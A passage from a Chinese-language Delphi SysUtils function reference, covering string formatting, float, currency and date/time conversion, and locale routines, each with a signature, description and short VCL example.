Format('x=%3d', [12]); //'x= 12' //指定宽度

Format('x=%f', [12.0]); //'x=12.00' //浮点数

Format('x=%.3f', [12.0]); //'x=12.000' //指定小数

Format('x=%.*f', [5, 12.0]); //'x=12.00000' //动态配置

Format('x=%.5d', [12]); //'x=00012' //前面补充0

Format('x=%.5x', [12]); //'x=0000C' //十六进制

Format('x=%1:d%0:d', [12, 13]); //'x=1312' //使用索引

Format('x=%p', [nil]); //'x=00000000' //指针

Format('x=%1.1e', [12.0]); //'x=1.2E+001' //科学记数法

Format('x=%%', []); //'x=%' //得到"%"

S := Format('%s%d', [S, I]); //S := S + StrToInt(I); //连接字符串

参考 proceduer SysUtils.FmtStr

例子 Edit1.Text := Format(Edit2.Text, [StrToFloatDef(Edit.3.Text, 0)]);

━━━━━━━━━━━━━━━━━━━━━

首部 procedure FmtStr(var Result: string; const Format: string; const Args: array of const); $[SysUtils.pas

功能 按指定方式格式化一个数组常量的字符形式返回

说明 <参见Format>

参考 function SysUtils.FormatBuf;function System.Length;function System.SetLength

例子 <参见Format>

━━━━━━━━━━━━━━━━━━━━━

首部 function StrFmt(Buffer, Format: PChar; const Args: array of const): PChar; $[SysUtils.pas

功能 返回按指定方式格式化一个数组常量的字符指针形式

说明 如果Buffer和Format其中只要有一个为nil则返回nil

参考 function SysUtils.FormatBuf

例子 <参见Format>

━━━━━━━━━━━━━━━━━━━━━

首部 function StrLFmt(Buffer: PChar; MaxBufLen: Cardinal; Format: PChar; const Args: array of const): PChar; $[SysUtils.pas

功能 返回按指定方式和长度格式化一个数组常量的字符指针形式

说明 StrLFmt(vBuffer, 6, '%d|12345', [1024]) = '1024|1';

参考 function SysUtils.FormatBuf

例子 <参见Format>

━━━━━━━━━━━━━━━━━━━━━

首部 function FormatBuf(var Buffer; BufLen: Cardinal; const Format; FmtLen: Cardinal; const Args: array of const): Cardinal; $[SysUtils.pas

功能 返回按指定方式格式化一个数组常量到缓冲区Buffer中

说明 <NULL>

参考 <NULL>

例子 <参见Format>

━━━━━━━━━━━━━━━━━━━━━

首部 function WideFormat(const Format: WideString; const Args: array of const): WideString; $[SysUtils.pas

功能 返回按指定方式格式化一个数组常量的多字节字符形式

说明 <NULL>

参考 procedure SysUtils.WideFmtStr

例子 <参见Format>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure WideFmtStr(var Result: WideString; const Format: WideString; const Args: array of const); $[SysUtils.pas

功能 按指定方式格式化一个数组常量的多字节字符形式返回

说明 <NULL>

参考 function SysUtils.WideFormatBuf

例子 <参见Format>

━━━━━━━━━━━━━━━━━━━━━

首部 function WideFormatBuf(var Buffer; BufLen: Cardinal; const Format; FmtLen: Cardinal; const Args: array of const): Cardinal; $[SysUtils.pas

功能 返回按指定方式格式化一个数组常量到缓冲区Buffer中

说明 <NULL>

参考 <NULL>

例子 <参见Format>

━━━━━━━━━━━━━━━━━━━━━

首部 function FloatToStr(Value: Extended): string; $[SysUtils.pas

功能 返回浮点数Value转换成字符串

说明 当浮点数大等于1E15将采用科学记数法

参考 function SysUtils.FloatToText

例子 Edit1.Text := FloatToStr(Now);

━━━━━━━━━━━━━━━━━━━━━

首部 function CurrToStr(Value: Currency): string; $[SysUtils.pas

功能 返回货币数Value转换成字符串

说明 货币数只保留四位小数

参考 function SysUtils.FloatToText

例子 Edit1.Text := CurrToStr(Now);

━━━━━━━━━━━━━━━━━━━━━

首部 function FloatToCurr(const Value: Extended): Currency; $[SysUtils.pas

功能 返回浮点数Value转换成货币数

说明 如果浮点数Value超出范围则将触发异常

参考 const SysUtiles.MinCurrency;const SysUtiles.MaxCurrency

例子 Edit1.Text := CurrToStr(FloatToCurr(Now));

━━━━━━━━━━━━━━━━━━━━━

首部 function FloatToStrF(Value: Extended; Format: TFloatFormat; Precision, Digits: Integer): string; $[SysUtils.pas

功能 返回浮点数以指定格式转换成字符串

说明 Precision指定精度;Digits指定小数宽度

参考 function SysUtils.FloatToText

例子

///////Begin FloatToStrF

procedure TForm1.Button1Click(Sender: TObject);

begin

Memo1.Lines.Values['ffGeneral'] := FloatToStrF(StrToFloatDef(Edit1.Text, 0),

ffGeneral, SpinEdit1.Value, SpinEdit2.Value);

Memo1.Lines.Values['ffExponent'] := FloatToStrF(StrToFloatDef(Edit1.Text, 0),

ffExponent, SpinEdit1.Value, SpinEdit2.Value);

Memo1.Lines.Values['ffFixed'] := FloatToStrF(StrToFloatDef(Edit1.Text, 0),

ffFixed, SpinEdit1.Value, SpinEdit2.Value);

Memo1.Lines.Values['ffNumber'] := FloatToStrF(StrToFloatDef(Edit1.Text, 0),

ffNumber, SpinEdit1.Value, SpinEdit2.Value);

Memo1.Lines.Values['ffCurrency'] := FloatToStrF(StrToFloatDef(Edit1.Text, 0),

ffCurrency, SpinEdit1.Value, SpinEdit2.Value);

end;

///////End FloatToStrF

━━━━━━━━━━━━━━━━━━━━━

首部 function CurrToStrF(Value: Currency; Format: TFloatFormat; Digits: Integer): string; $[SysUtils.pas

功能 返回货币类型以指定格式转换成字符串

说明 Digits指定小数宽度

参考 function SysUtils.FloatToText

例子

///////Begin CurrToStrF

procedure TForm1.Button1Click(Sender: TObject);

begin

Memo1.Lines.Values['ffGeneral'] := CurrToStrF(StrToCurrDef(Edit1.Text, 0),

ffGeneral, SpinEdit1.Value);

Memo1.Lines.Values['ffExponent'] := CurrToStrF(StrToCurrDef(Edit1.Text, 0),

ffExponent, SpinEdit1.Value);

Memo1.Lines.Values['ffFixed'] := CurrToStrF(StrToCurrDef(Edit1.Text, 0),

ffFixed, SpinEdit1.Value);

Memo1.Lines.Values['ffNumber'] := CurrToStrF(StrToCurrDef(Edit1.Text, 0),

ffNumber, SpinEdit1.Value);

Memo1.Lines.Values['ffCurrency'] := CurrToStrF(StrToCurrDef(Edit1.Text, 0),

ffCurrency, SpinEdit1.Value);

end;

///////End CurrToStrF

━━━━━━━━━━━━━━━━━━━━━

首部 function FloatToText(BufferArg: PChar; const Value; ValueType: TFloatValue; Format: TFloatFormat; Precision, Digits: Integer): Integer; $[SysUtils.pas

功能 返回浮点数以指定格式转换成指针字符串的内存大小

说明 Precision指定精度;Digits指定小数宽度

参考 <NULL>

例子

///////Begin FloatToText

procedure TForm1.Button1Click(Sender: TObject);

var

vBuffer: array[0..255] of Char;

E: Extended;

begin

E := StrToFloatDef(Edit1.Text, 0);

SpinEdit3.Value := FloatToText(vBuffer, E,

fvExtended, ffNumber, SpinEdit1.Value, SpinEdit2.Value);

Edit2.Text := Copy(vBuffer, 1, SpinEdit3.Value);

end;

///////End FloatToText(

━━━━━━━━━━━━━━━━━━━━━

首部 function FormatFloat(const Format: string; Value: Extended): string; $[SysUtils.pas

功能 返回浮点数类型以指定格式字符串Format转换成字符串

说明 FormatFloat(',.00', 1234567890) = '1,234,567,890.00'

参考 function SysUtils.FloatToTextFmt

例子 Edit1.Text := FormatFloat(Edit2.Text, StrToFloatDef(Edit3.Text, 0));

━━━━━━━━━━━━━━━━━━━━━

首部 function FormatCurr(const Format: string; Value: Currency): string; $[SysUtils.pas

功能 返回货币类型以指定格式字符串Format转换成字符串

说明 FormatCurr(',.00', 1234567890) = '1,234,567,890.00'

参考 function SysUtils.FloatToTextFmt

例子 Edit1.Text := FormatCurr(Edit2.Text, StrToCurrDef(Edit3.Text, 0));

━━━━━━━━━━━━━━━━━━━━━

首部 function FloatToTextFmt(Buf: PChar; const Value; ValueType: TFloatValue; Format: PChar): Integer; $[SysUtils.pas

功能 返回浮点数以指定格式字符串Format转换成指针字符串的内存大小

说明 ValueType指定无类型参数Value的类型

参考 <NULL>

例子

///////Begin FloatToTextFmt

procedure TForm1.Button1Click(Sender: TObject);

var

vBuffer: array[0..255] of Char;

E: Extended;

begin

E := StrToFloatDef(Edit1.Text, 0);

SpinEdit1.Value := FloatToTextFmt(vBuffer, E,

fvExtended, PChar(Edit2.Text));

Edit3.Text := Copy(vBuffer, 1, SpinEdit1.Value);

end;

///////End FloatToTextFmt

━━━━━━━━━━━━━━━━━━━━━

首部 function StrToFloat(const S: string): Extended; $[SysUtils.pas

功能 返回字符串S转换成浮点数

说明 字符串非浮点数表达时将引起异常

参考 function SysUtils.TextToFloat

例子 var E: Extended; begin E := StrToFloat(Edit1.Text); end;

━━━━━━━━━━━━━━━━━━━━━

首部 function StrToFloatDef(const S: string; const Default: Extended): Extended; $[SysUtils.pas

功能 返回字符串S转换成浮点数

说明 字符串非浮点数表达时则返回默认值Default

参考 function SysUtils.TextToFloat

例子 var E: Extended; begin E := StrToFloatDef(Edit1.Text, 0); end;

━━━━━━━━━━━━━━━━━━━━━

首部 function TryStrToFloat(const S: string; out Value: Extended): Boolean; overload; $[SysUtils.pas

首部 function TryStrToFloat(const S: string; out Value: Single): Boolean; overload; $[SysUtils.pas

首部 function TryStrToFloat(const S: string; out Value: Double): Boolean; overload; $[SysUtils.pas

功能 返回字符串S转换成浮点数Value是否成功

说明 字符串非浮点数表达时返回False并且Value将输出为不确定的值

参考 function SysUtils.TextToFloat

例子

///////Begin TryStrToFloat

procedure TForm1.Button1Click(Sender: TObject);

var

E: Extended;

begin

CheckBox1.Checked := TryStrToFloat(Edit1.Text, E);

Edit2.Text := FormatFloat('', E);

end;

///////End TryStrToFloat

━━━━━━━━━━━━━━━━━━━━━

首部 function StrToCurr(const S: string): Currency; $[SysUtils.pas

功能 返回字符串S转换成货币数

说明 字符串非货币数表达时将引起异常

参考 function SysUtils.TextToFloat

例子 var C: Currency; begin C := StrToCurr(Edit1.Text); end;

━━━━━━━━━━━━━━━━━━━━━

首部 function StrToCurrDef(const S: string; const Default: Currency): Currency; $[SysUtils.pas

功能 返回字符串S转换成货币数

说明 字符串非货币数表达时则返回默认值Default

参考 function SysUtils.TextToFloat

例子 var C: Currency; begin C := StrToCurrDef(Edit1.Text, 0); end;

━━━━━━━━━━━━━━━━━━━━━

首部 function TryStrToCurr(const S: string; out Value: Currency): Boolean; $[SysUtils.pas

功能 返回字符串S转换成货币数Value是否成功

说明 字符串非货币数表达时返回False并且Value将输出为不确定的值

参考 function SysUtils.TextToFloat

例子

///////Begin TryStrToCurr

procedure TForm1.Button1Click(Sender: TObject);

var

C: Currency;

begin

CheckBox1.Checked := TryStrToCurr(Edit1.Text, C);

Edit2.Text := FormatCurr('', C);

end;

///////End TryStrToCurr

━━━━━━━━━━━━━━━━━━━━━

首部 function TextToFloat(Buffer: PChar; var Value; ValueType: TFloatValue): Boolean; $[SysUtils.pas

功能 返回将指针字符串Buffer转换成无类型变量Value

说明 ValueType指定无类型参数Value的类型

参考 <NULL>

例子

///////Begin TextToFloat

procedure TForm1.Button1Click(Sender: TObject);

var

E: Extended;

begin

CheckBox1.Checked := TextToFloat(PChar(Edit1.Text), E,

fvExtended);

Edit2.Text := FormatFloat('', E);

end;

///////End TextToFloat

━━━━━━━━━━━━━━━━━━━━━

首部 procedure FloatToDecimal(var Result: TFloatRec; const Value; ValueType: TFloatValue; Precision, Decimals: Integer); $[SysUtils.pas

功能 将浮点数转换成浮点结构类型并返回到Result

说明 ValueType指定类型;Precision指定精度;Decimals指定小数

参考 type SysUtils.TFloatRec

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function DateTimeToTimeStamp(DateTime: TDateTime): TTimeStamp; $[SysUtils.pas

功能 返回日期时间类型转换成时间结构类型

说明 <NULL>

参考 type SysUtils.TTimeStamp

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function TimeStampToDateTime(const TimeStamp: TTimeStamp): TDateTime; $[SysUtils.pas

功能 返回时间结构类型转换成日期时间类型

说明 <NULL>

参考 type SysUtils.TTimeStamp

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function MSecsToTimeStamp(MSecs: Comp): TTimeStamp; $[SysUtils.pas

功能 返回微妙转换成时间结构类型

说明 <NULL>

参考 type SysUtils.TTimeStamp

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function TimeStampToMSecs(const TimeStamp: TTimeStamp): Comp; $[SysUtils.pas

功能 返回时间结构类型转换成微妙

说明 <NULL>

参考 type SysUtils.TTimeStamp

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function EncodeDate(Year, Month, Day: Word): TDateTime; $[SysUtils.pas

功能 返回合并年、月、日得到的日期

说明 当出现非法组合时将触发异常

参考 function SysUtils.TryEncodeDate

例子 Edit1.Text := DateToStr(EncodeDate(SpinEdit1.Value, SpinEdit2.Value, SpinEdit3.Value));

━━━━━━━━━━━━━━━━━━━━━

首部 function EncodeTime(Hour, Min, Sec, MSec: Word): TDateTime; $[SysUtils.pas

功能 返回合并时、分、秒、微秒得到的时间

说明 当出现非法组合时将触发异常

参考 function SysUtils.TryEncodeTime

例子 Edit1.Text := TimeToStr(EncodeTime(SpinEdit1.Value, SpinEdit2.Value, SpinEdit3.Value, SpinEdit4.Value));

━━━━━━━━━━━━━━━━━━━━━

首部 function TryEncodeDate(Year, Month, Day: Word; out Date: TDateTime): Boolean; $[SysUtils.pas

功能 返回合并年、月、日得到的日期是否成功

说明 当出现非法组合时将返回False并且Date输出为0

参考 function SysUtils.IsLeapYear

例子

///////Begin TryEncodeDate

procedure TForm1.Button1Click(Sender: TObject);

var

vDate: TDate;

begin

CheckBox1.Checked := TryEncodeDate(SpinEdit1.Value, SpinEdit2.Value,

SpinEdit3.Value, TDateTime(vDate));

Edit1.Text := DateToStr(vDate);

end;

///////End TryEncodeDate

━━━━━━━━━━━━━━━━━━━━━

首部 function TryEncodeTime(Hour, Min, Sec, MSec: Word; out Time: TDateTime): Boolean; $[SysUtils.pas

功能 返回合并时、分、秒、微秒得到的时间是否成功

说明 当出现非法组合时将返回False并且Time输出为0

参考 const SysUtils.MSecsPerDay

例子

///////Begin TryEncodeTime

procedure TForm1.Button1Click(Sender: TObject);

var

vTime: TTime;

begin

CheckBox1.Checked := TryEncodeTime(SpinEdit1.Value, SpinEdit2.Value,

SpinEdit3.Value, SpinEdit3.Value, TDateTime(vTime));

Edit1.Text := TimeToStr(vTime);

end;

///////End TryEncodeTime

━━━━━━━━━━━━━━━━━━━━━

首部 procedure DecodeDate(const DateTime: TDateTime; var Year, Month, Day: Word); $[SysUtils.pas

功能 分解日期为年、月、日

说明 <NULL>

参考 function SysUtils.DecodeDateFully

例子

///////Begin DecodeDate

procedure TForm1.Button1Click(Sender: TObject);

var

Year, Month, Day: Word;

begin

DecodeDate(Date, Year, Month, Day);

SpinEdit1.Value := Year;

SpinEdit2.Value := Month;

SpinEdit3.Value := Day;

end;

///////End DecodeDate

━━━━━━━━━━━━━━━━━━━━━

首部 function DecodeDateFully(const DateTime: TDateTime; var Year, Month, Day, DOW: Word): Boolean; $[SysUtils.pas

功能 分解日期为年、月、日、星期

说明 [DOW:Day Of Week]

参考 function SysUtils.DateTimeToTimeStamp

例子

///////Begin DecodeDateFully

procedure TForm1.Button1Click(Sender: TObject);

var

Year, Month, Day, DOW: Word;

begin

DecodeDateFully(Date, Year, Month, Day, DOW);

SpinEdit1.Value := Year;

SpinEdit2.Value := Month;

SpinEdit3.Value := Day;

SpinEdit4.Value := DOW;

end;

///////End DecodeDateFully

━━━━━━━━━━━━━━━━━━━━━

首部 function InternalDecodeDate(const DateTime: TDateTime; var Year, Month, Day, DOW: Word): Boolean; $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 function SysUtils.DecodeDateFully

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure DecodeTime(const DateTime: TDateTime; var Hour, Min, Sec, MSec: Word); $[SysUtils.pas

功能 分解时间为时、分、秒、微妙

说明 <NULL>

参考 function SysUtils.DateTimeToTimeStamp

例子

///////Begin DecodeTime

procedure TForm1.Button1Click(Sender: TObject);

var

Hour, Min, Sec, MSec: Word;

begin

DecodeTime(Time, Hour, Min, Sec, MSec);

SpinEdit1.Value := Hour;

SpinEdit2.Value := Min;

SpinEdit3.Value := Sec;

SpinEdit4.Value := MSec;

end;

///////End DecodeTime

━━━━━━━━━━━━━━━━━━━━━

首部 procedure DateTimeToSystemTime(const DateTime: TDateTime; var SystemTime: TSystemTime); $[SysUtils.pas

功能 返回日期时间类型转换成系统时间类型

说明 <NULL>

参考 function SysUtils.DecodeDateFully;function SysUtils.DecodeTime

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function SystemTimeToDateTime(const SystemTime: TSystemTime): TDateTime; $[SysUtils.pas

功能 返回系统时间类型转换成日期时间类型

说明 <NULL>

参考 function SysUtils.EncodeDate;function SysUtils.EncodeTime

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function DayOfWeek(const DateTime: TDateTime): Word; $[SysUtils.pas

功能 返回日期时间DateTime所在的星期

说明 1(星期天),2(星期一),3(星期二),4(星期三),5(星期四),6(星期五),7(星期六)

参考 function SysUtils.DateTimeToTimeStamp

例子

///////Begin DayOfWeek

procedure TForm1.Button1Click(Sender: TObject);

const

cWeekCn: array[1..7] of string =

('星期天', '星期一', '星期二', '星期三', '星期四', '星期五', '星期六');

begin

Edit1.Text := cWeekCn[DayOfWeek(Now)];

end;

///////End DayOfWeek

━━━━━━━━━━━━━━━━━━━━━

首部 function Date: TDateTime; $[SysUtils.pas

功能 返回当前日期

说明 Date - Int(Date)=0;

参考 function SysUtils.DateTimeToString

例子 Edit1.Text := DateToStr(Date);

━━━━━━━━━━━━━━━━━━━━━

首部 function Time: TDateTime; $[SysUtils.pas

功能 返回当前时间

说明 Time - Frac(Time)=0;

参考 function Windows.GetLocalTime;function SysUtils.EncodeTime

例子 Edit1.Text := TimeToStr(Time);

━━━━━━━━━━━━━━━━━━━━━

首部 function Now: TDateTime; $[SysUtils.pas

功能 返回当前日期时间

说明 Date + Time=Now

参考 function Windows.GetLocalTime;function SysUtils.EncodeDate;function SysUtils.EncodeTime

例子 Edit1.Text := DateTimeToStr(Now);

━━━━━━━━━━━━━━━━━━━━━

首部 function CurrentYear: Word; $[SysUtils.pas

功能 返回当前年份

说明 <NULL>

参考 function Windows.GetLocalTime

例子 SpinEdit1.Value := CurrentYear;

━━━━━━━━━━━━━━━━━━━━━

首部 function IncMonth(const DateTime: TDateTime; NumberOfMonths: Integer = 1): TDateTime; $[SysUtils.pas

功能 返回增加月份给日期

说明 NumberOfMonths为负数时则减月份

参考 procedure SysUtils.DecodeDate;procedure SysUtils.IncAMonth;function SysUtils.EncodeDate;procedure SysUtils.ReplaceTime

例子 DateTimePicker1.Date := IncMonth(Date, SpinEdit1.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 procedure IncAMonth(var Year, Month, Day: Word; NumberOfMonths: Integer = 1); $[SysUtils.pas

功能 返回增加月份给年月日

说明 NumberOfMonths为负数时则减月份

参考 procedure System.Inc

例子

///////Begin IncAMonth

procedure TForm1.Button1Click(Sender: TObject);

var

vYear, vMonth, vDay: Word;

begin

DecodeDate(Date, vYear, vMonth, vDay);

IncAMonth(vYear, vMonth, vDay, SpinEdit1.Value);

DateTimePicker1.Date := EncodeDate(vYear, vMonth, vDay);

end;

///////End IncAMonth

━━━━━━━━━━━━━━━━━━━━━

首部 procedure ReplaceTime(var DateTime: TDateTime; const NewTime: TDateTime); $[SysUtils.pas

功能 用时间NewTime替换日期时间DateTime的时间部分

说明 Int(DateTime) + Frac(NewTime)

参考 function System.Trunc;function System.Abs;function System.Frac

例子

///////Begin ReplaceTime

procedure TForm1.Button1Click(Sender: TObject);

var

vDateTime: TDateTime;

begin

vDateTime := Now;

ReplaceTime(vDateTime, DateTimePicker1.Time);

Edit1.Text := DateTimeToStr(vDateTime);

end;

///////End ReplaceTime

━━━━━━━━━━━━━━━━━━━━━

首部 procedure ReplaceDate(var DateTime: TDateTime; const NewDate: TDateTime); $[SysUtils.pas

功能 用日期NewDate替换日期时间DateTime的日期部分

说明 Int(NewTime) + Frac(DateTime)

参考 procedure SysUtils.ReplaceTime

例子

///////Begin ReplaceDate

procedure TForm1.Button1Click(Sender: TObject);

var

vDateTime: TDateTime;

begin

vDateTime := Now;

ReplaceDate(vDateTime, DateTimePicker1.Date);

Edit1.Text := DateTimeToStr(vDateTime);

end;

///////End ReplaceDate

━━━━━━━━━━━━━━━━━━━━━

首部 function IsLeapYear(Year: Word): Boolean; $[SysUtils.pas

功能 返回年份Year是否是闰年

说明 (Year mod 4 = 0) and ((Year mod 100 <> 0) or (Year mod 400 = 0))

参考 <NULL>

例子 CheckBox1.Checked := IsLeapYear(SpinEdit1.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function DateToStr(const DateTime: TDateTime): string; $[SysUtils.pas

功能 返回日期DateTime转换成字符串

说明 转换格式由系统变量ShortDateFormat控制

参考 function SysUtils.DateTimeToString;var SysUtils.ShortDateFormat

例子 Edit1.Text := DateToStr(Date);

━━━━━━━━━━━━━━━━━━━━━

首部 function TimeToStr(const DateTime: TDateTime): string; $[SysUtils.pas

功能 返回时间DateTime转换成字符串

说明 转换格式由系统变量LongTimeFormat控制

参考 function SysUtils.DateTimeToString;var SysUtils.LongTimeFormat

例子 Edit1.Text := TimeToStr(Date);

━━━━━━━━━━━━━━━━━━━━━

首部 function DateTimeToStr(const DateTime: TDateTime): string; $[SysUtils.pas

功能 返回日期时间DateTime转换成字符串

说明 转换格式由系统变量ShortDateFormat和LongTimeFormat控制

参考 function SysUtils.DateTimeToString

例子 Edit1.Text := DateTimeToStr(Now);

━━━━━━━━━━━━━━━━━━━━━

首部 function StrToDate(const S: string): TDateTime; $[SysUtils.pas

功能 返回字符串S转换成日期

说明 字符非日期表达时将引起异常

参考 function SysUtils.TryStrToDate

例子 DateTimePicker1.Date := StrToDate(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function StrToDateDef(const S: string; const Default: TDateTime): TDateTime; $[SysUtils.pas

功能 返回字符串S转换成日期

说明 字符非日期表达时则返回默认值Default

参考 function SysUtils.TryStrToDate

例子 DateTimePicker1.Date := StrToDateDef(Edit1.Text, Date);

━━━━━━━━━━━━━━━━━━━━━

首部 function TryStrToDate(const S: string; out Value: TDateTime): Boolean; $[SysUtils.pas

功能 返回字符串S转换成日期Value是否成功

说明 字符非日期表达时返回False并且Value将输出为0

参考 <NULL>

例子

///////Begin TryStrToDate

procedure TForm1.Button1Click(Sender: TObject);

var

vDateTime: TDateTime;

begin

CheckBox1.Checked := TryStrToDate(Edit1.Text, vDateTime);

DateTimePicker1.Date := vDateTime;

end;

///////End TryStrToDate

━━━━━━━━━━━━━━━━━━━━━

首部 function StrToTime(const S: string): TDateTime; $[SysUtils.pas

功能 返回字符串S转换成时间

说明 字符非时间表达时将引起异常

参考 function SysUtils.TryStrToTime

例子 DateTimePicker1.Time := StrToTime(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function StrToTimeDef(const S: string; const Default: TDateTime): TDateTime; $[SysUtils.pas

功能 返回字符串S转换成时间

说明 字符非时间表达时则返回默认值Default

参考 function SysUtils.TryStrToTime

例子 DateTimePicker1.Time := StrToTimeDef(Edit1.Text, Time);

━━━━━━━━━━━━━━━━━━━━━

首部 function TryStrToTime(const S: string; out Value: TDateTime): Boolean; $[SysUtils.pas

功能 返回字符串S转换成时间Value是否成功

说明 字符非时间表达时返回False并且Value将输出为0

参考 <NULL>

例子

///////Begin TryStrToTime

procedure TForm1.Button1Click(Sender: TObject);

var

vDateTime: TDateTime;

begin

CheckBox1.Checked := TryStrToTime(Edit1.Text, vDateTime);

DateTimePicker1.Time := vDateTime;

end;

///////End TryStrToTime

━━━━━━━━━━━━━━━━━━━━━

首部 function StrToDateTime(const S: string): TDateTime; $[SysUtils.pas

功能 返回字符串S转换成日期时间

说明 字符非日期时间表达时将引起异常

参考 function SysUtils.TryStrToDateTime

例子 Edit1.Text := DateTimeToStr(StrToDateTime(Edit2.Text));

━━━━━━━━━━━━━━━━━━━━━

首部 function StrToDateTimeDef(const S: string; const Default: TDateTime): TDateTime; $[SysUtils.pas

功能 返回字符串S转换成日期时间

说明 字符非日期时间表达时则返回默认值Default

参考 function SysUtils.TryStrToDateTime

例子 Edit1.Text := DateTimeToStr(StrToDateTimeDef(Edit2.Text, Now));

━━━━━━━━━━━━━━━━━━━━━

首部 function TryStrToDateTime(const S: string; out Value: TDateTime): Boolean; $[SysUtils.pas

功能 返回字符串S转换成日期时间Value是否成功

说明 字符非日期时间表达时返回False并且Value将输出为0

参考 <NULL>

例子

///////Begin TryStrToDateTime

procedure TForm1.Button1Click(Sender: TObject);

var

vDateTime: TDateTime;

begin

CheckBox1.Checked := TryStrToDateTime(Edit1.Text, vDateTime);

Edit2.Text := DateTimeToStr(vDateTime);

end;

///////End TryStrToDateTime

━━━━━━━━━━━━━━━━━━━━━

首部 function FormatDateTime(const Format: string; DateTime: TDateTime): string; $[SysUtils.pas

功能 返回用指定的格式Format来格式化日期时间DateTime

说明 FormatDateTime('YYYY"年"MM"月"DD"日"', StrToDate('2002-03-09')) = '2002年03月09日'

参考 function SysUtils.DateTimeToString

例子 Edit2.Text := FormatDateTime(Edit1.Text, Now);

━━━━━━━━━━━━━━━━━━━━━

首部 procedure DateTimeToString(var Result: string; const Format: string; DateTime: TDateTime); $[SysUtils.pas

功能 用指定的格式Format来格式化日期时间DateTime并返回到字符串Result中

说明 <参见FormatDateTime>

参考 function System.SetString

例子 <参见FormatDateTime>

━━━━━━━━━━━━━━━━━━━━━

首部 function FloatToDateTime(const Value: Extended): TDateTime; $[SysUtils.pas

功能 返回浮点数转换成日期时间类型

说明 如果浮点数超出范围将触发异常

参考 function System.Int

例子 Edit2.Text := DateTimeToStr(FloatToDateTime(StrToFloatDef(Edit1.Text, 0)));

━━━━━━━━━━━━━━━━━━━━━

首部 function SysErrorMessage(ErrorCode: Integer): string; $[SysUtils.pas

功能 返回系统中错误代码所对应的信息

说明 此函可以有助于已习惯Windows编程的用户使用

参考 function Windows.FormatMessage;function System.SetString

例子 Edit1.Text := SysErrorMessage(SpinEdit1.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function GetLocaleStr(Locale, LocaleType: Integer; const Default: string): string; platform; $[SysUtils.pas

功能 返回当前系统指定参数的字符串值

说明 GetLocaleStr(GetThreadLocale, LOCALE_SLANGUAGE, '') = '中文(中国)'

参考 function Windows.GetLocaleInfo

例子 Edit1.Text := GetLocaleStr(GetThreadLocale, SpinEdit1.Value, '<NULL>');

━━━━━━━━━━━━━━━━━━━━━

首部 function GetLocaleChar(Locale, LocaleType: Integer; Default: Char): Char; platform; $[SysUtils.pas

功能 返回当前系统指定参数的字符值

说明 GetLocaleChar(GetThreadLocale, LOCALE_STHOUSAND, #0) = ','

参考 function Windows.GetLocaleInfo

例子 Edit1.Text := GetLocaleChar(GetThreadLocale, LOCALE_SLANGUAGE, #0);

━━━━━━━━━━━━━━━━━━━━━

首部 procedure GetFormatSettings; $[SysUtils.pas

功能 恢复系统参数设置

说明 日期时间格式等

参考 function Windows.GetThreadLocale;function Windows.GetLocaleStr

例子

///////Begin GetFormatSettings

procedure TForm1.Button1Click(Sender: TObject);

begin

ShortDateFormat := 'YYYY"年"MM"月"DD"日"';

ShowMessage(DateToStr(Date));

GetFormatSettings;

ShowMessage(DateToStr(Date));

end;

///////End GetFormatSettings

━━━━━━━━━━━━━━━━━━━━━

首部 function InquireSignal(RtlSigNum: Integer): TSignalState; $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure AbandonSignalHandler(RtlSigNum: Integer); $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure HookSignal(RtlSigNum: Integer); $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure UnhookSignal(RtlSigNum: Integer; OnlyIfHooked: Boolean = True); $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure HookOSExceptions; $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function MapSignal(SigNum: Integer; Context: PSigContext): LongWord; $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure SignalConverter(ExceptionEIP: LongWord; FaultAddr: LongWord; ErrorCode: LongWord); $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure SetSafeCallExceptionMsg(Msg: String); $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure SetSafeCallExceptionAddr(Addr: Pointer); $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function GetSafeCallExceptionMsg: String; $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function GetSafeCallExceptionAddr: Pointer; $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function LoadLibrary(ModuleName: PChar): HMODULE; $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

━━━━━━━━━━━━━━━━━━━━━

首部 function FreeLibrary(Module: HMODULE): LongBool; $[SysUtils.pas

功能 <NULL>

说明 Kylix函数

参考 <NULL>

例子 <NULL>

